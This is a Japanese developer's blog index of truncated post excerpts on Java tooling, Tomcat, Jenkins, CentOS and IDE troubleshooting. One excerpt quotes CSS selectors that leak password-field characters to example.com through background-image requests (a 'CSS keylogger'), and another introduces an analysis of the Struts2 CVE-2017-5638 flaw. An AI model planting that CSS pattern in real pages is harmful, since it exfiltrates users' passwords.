(注:このブログはもう更新していません)この日記は私的なものであり所属会社の見解とは無関係です。 GitHub: takahashikzn

[クラウド帳票エンジンDocurain]

ProGuardで処理したJarとSpringFrameworkの相性が悪い

生きてます。 最近、某社の基幹システム再構築案件で超忙しく、なかなかブログを書く暇もない。 単なる技術メモ程度の内容でしかないにもかかわらず、何たることだ。 しっかしこの某社、当社がプロジェクトの立て直しを手伝う前は、インチキ方法論者の某氏*1…

PMDのClassNamingConventionsがおせっかいすぎる件

「ユーティリティクラスはXXXUtilsまたはXXXHelperという名前でなければなりません」 はわかるのですが、ただの定数クラス(しかもパッケージプライベートな内部用)にもそのルールを当てはめるのは、やりすぎです。 PMD6.4にアップデートしてから、この警告…

Tomcatは圧縮されたマルチパートHTTPリクエストをパースできない

タイトル通り。今日1日まるごと、この件の調査で潰れた。 ひたすらTomcatのコードをデバッガーで追いかけてました。 まだ部屋の掃除(※週末の固定タスク)もしてないのに…!!(怒) さて。 例えば、サーブレットフィルタで入力ストリームをデコードするよう…

100個以上のインスタンス実行記念カキコ

Docurainの負荷試験のためにスポットのt2.mediumを160個実行中です。 これを24H365Dで動かすと、およそ1,000万円らしいです。

CentOS 7.5のParallels-Toolsインストール失敗を強引に解消する

CentOS 7.5が出たので手持ちの仮想マシンをアップデートしてみたらエラーになりました。 ログはこんな感じ。 Fri May 11 19:53:00 JST 2018 cd prl_eth/pvmnet && make cd prl_eth/pvmnet && rm -rf .*.cmd .tmp_versions cd prl_tg/Toolgate/Guest/Linux/pr…

IntelliJの検索ボックスが動かない→検索履歴を手動で削除

正規表現の検索ボックスが動かなくなりました。("Entity"は必ずヒットするはずの状況) どうやら、過去に指定した不正な正規表現が邪魔をしているようです。 この履歴、IntelliJの「キャッシュをクリアして再起動」をしてもクリアされません。困る。 解決策…

EclipseLink-2.7.1とJava10でweaverが動かない(ことがある)

Java10上でEclipseLinkを動かすと、 Weaver encountered an exception while trying to weave class foo/bar/Baz. The exception was: null という警告が出ることがあります。nullってなんだよおい。 調べた所、EclipseLinkが内部に保持しているASMのバージ…

Kotlin + Gradle + Java10が動かない

タイトル通り。Kotlin1.2 + Gradle4.6 + Java10で動かすとエラーになります。こんな感じ。 Caused by: java.lang.ArrayIndexOutOfBoundsException: 448 at org.jetbrains.org.objectweb.asm.ClassReader.readUnsignedShort(ClassReader.java:2464) at org.je…

CSSだけでキーロガーを作る(※追記あり)

github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とする…

安全なpublic DNSを設定する

(出典: cryptoaustralia.org) 安全を謳うpublic DNSはいくつかあります。 有名なところはNorton ConnectSafeです。僕も自宅で使っておりました。(※個人利用は無料) ですが、ある日突然、zuluのyumリポジトリをブロックしてしまったので、乗換先を探すことに…

開発者コンソールでファイルダウンロードのHTTPログを見る

ファイルダウンロードの場合は別タブでのHTTPという扱いになるため、 ダウンロードリンクのクリック元となる画面の、開発者コンソールにHTTPログが表示されません。 とは言え、ダウンロード側のタブはダウンロードが終わったら直ちにクローズされるため、開…

Jenkins-2.89.1に更新したらスレーブに接続できなくなった→Pluginを別途インストール

Jenkinsの更新がリリースされていたので更新したら、スレーブが全て接続不能になりました…マジかよ。 超絶困るのですぐに調査した所、どうも「マスターでコマンドを起動してエージェントを起動する」が削除されてしまったようです。 え…? みんな、これ使っ…

ITmediaで記事を書きました

ITmediaで超高速開発に関する記事を書きました。 日頃から僕がどのような考えに基づいて取り組んでいるかを、ざっとまとめた感じです。 www.itmedia.co.jp ご意見・ご感想はお気軽に!

意訳:俺がEclipseにこだわる理由

http://dzone.com/articles/i-still-prefer-eclipse-over-intellij-idea こちらの記事を読みました。意訳は以下の通り。 IntelliJ IDEAはIDEにおけるiPhoneのような感じである。信者が、 「一度使えばわかる」 「まだEclipseで消耗してるの?」 「みんなIDEA…

"snap_metadata_val: invalid extentref_tree_oid"→TimeMachineのローカルバックアップを消す

先程、macOSのディスクユーティリティでチェックをしたら謎のエラーが発生しました。 よく見ると、 snap_metadata_val: invalid extentref_tree_oid と表示されております。 ググってみたところ、TimeMachineのローカルバックアップが壊れている時に表示され…

SLF4J-1.8は現時点ではlogbackで動かせない?

slf4j-1.8.0-beta0がリリースされていたので早速更新してみた所、こんなエラーが出てログが全く動かなくなりました。 SLF4J: No SLF4J providers were found. SLF4J: Defaulting to no-operation (NOP) logger implementation SLF4J: See http://www.slf4j.o…

Java9でDateTimeException→jarファイルのタイムスタンプを確認

うちのメンバーのマシン上でビルドしたwarをTomcatに配備したらこんなエラーが出ました。 Caused by: java.time.DateTimeException: Invalid value for MonthOfYear (valid values 1 - 12): 0 at java.base/java.time.temporal.ValueRange.checkValidValue(V…

IntelliJ:「この文字は、エンコーディングutf8にマップできません」→依存jarの中にJavaのソースが紛れ込んでいる

英語検索用: “Unmappable character for encoding UTF-8” error -> Your dependant jar will contain invalid encoded java source files. タイトル通りです。 IntelliJで使用する標準JDKをJava9に更新してからというもの、「この文字は、エンコーディングut…

CentOS 7.4にyumでアップグレードしたら起動しなくなる件

タイトル通りです。 yumでアップグレードしたら起動しなくなりました。 で、幸いにして仮想マシンなのでスナップショットに戻してもう一度観察すると、カーネルの更新のところでこんなエラーが出ていました。 grub2-editenv: error: invalid environment blo…

PMDでIncompatibleClassChangeError→checkstyle-8.2-all.jarが原因

今日、PMDを実行したらいきなりこんなエラーになって動かなくなりました。 java.lang.IncompatibleClassChangeError: Implementing class ... は?何?と思って調査した所、checkstyle-8.2-all.jarをcheckstyle-8.1-all.jarに戻したら動くようになりました。…

新基軸の商品…?

誰ですかこんなことしたの。 先生怒らないから名乗り出なさい。(半ギレ) (念のためですが、やったのは僕ではありません。) (ちなみに、江戸時代あたりまでは「柳蔭」として味醂は飲用されていました。落語の「青菜」も参照。)

Firefoxのアドオン署名検証を無理やりOFFにする

近頃僕が投稿する記事は、 「本来できない処理を、無理やりパッチを当てて強引になんとかする」 的なのが多いですね。 そして今日もそんな内容でございます。 今日のお題 ウチはSeleniumでガチなE2Eテストを全案件でやっており、Jenkins上では膨大なSelenium…

JenkinsのSVN Pluginsで"E170001: Authentication required"を解消する

以前もどこかで書きましたが、ウチは未だにSVNです。理由は次の通り。 svn:externalsにかなり依存した構成管理をしている gitのサブモジュールはsvn:externalsのような柔軟性が無く微妙 それぞれのメンバーが触る範囲が明確に分かれておりコンフリクトがほぼ…

TomcatでCookieのSameSite属性を無理やり付与する

最近のChromeやFirefoxでは、CookieにSameSiteという属性を指定することができます。 これは、CSRFから保護する強力な仕組みであるようです。 簡単に言うと、外部ページから内部ページへ直接リクエストを飛ばしても(※CSRFの動作原理)、Cookieヘッダを送信…

Memo: JenkinsのSlack Notifierを一括設定する

初めてJenkinsのスクリプトコンソールを使いましたが、慣れればラク…なのか? こちらを参考にしました。 http://gist.github.com/yuroyoro/337b72638578bafd50e5 jenkins.model.Jenkins.instance.items.each {job -> list = job.getPublishersList() list.re…

Memo: EclipseLinkが関連エンティティをUPDATE/DELETEする順序はID順

「同一オブジェクトの1-Nの関連先エンティティを同時更新した時、デッドロックは発生しないのか?」という点が急に気になったので調べたときのメモ。 EclipseLinkの場合、エンティティのUPDATE順序はデフォルトで「ID順」 で、その他に「オブジェクトの変更…

SSHで"No supported authentication methods available"→SELinuxが原因だった

本日、新しく鍵を作ってauthorized_keysに配置したのですが、なんかログインできないわけです。 “No supported authentication methods available” と言われてしまう。 /var/log/secureを見てみても、 May 18 14:19:21 foobar sshd[26582]: Received disconn…

MariaDBをメジャーダウングレードする

mariadb-java-client-2.0.1がリリースされたので試してみた所、よくわからないエラーでテストがコケるようになりました。 特定のSelect文を打つと、こんなエラーがでることがあります。 java.sql.SQLIntegrityConstraintViolationException: (conn:50) Colum…

HiDPI環境下のWindowsでSwingアプリケーションのメニューが壊れるのをどうにかする

タイトル通り。 本日、Parallelsで運用しているWindowsを「Retinaに最適」にしたところ、Swingアプリケーションのメニューが壊れました。 Parallelsの設定はこれ。 で、これで例えばVisualVMを起動するとこうなります。 本来、メニューが表示されるべき領域…

Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した

またOGNL絡みの脆弱性が見つかりました。 アウトラインはid:Kango氏がまとめているこちらが参考になります。 http://d.hatena.ne.jp/Kango/20170307/1488907259 さて、この脆弱性の動作原理を調べてみました。 ファイルアップロード時のヘッダの処理方式に問…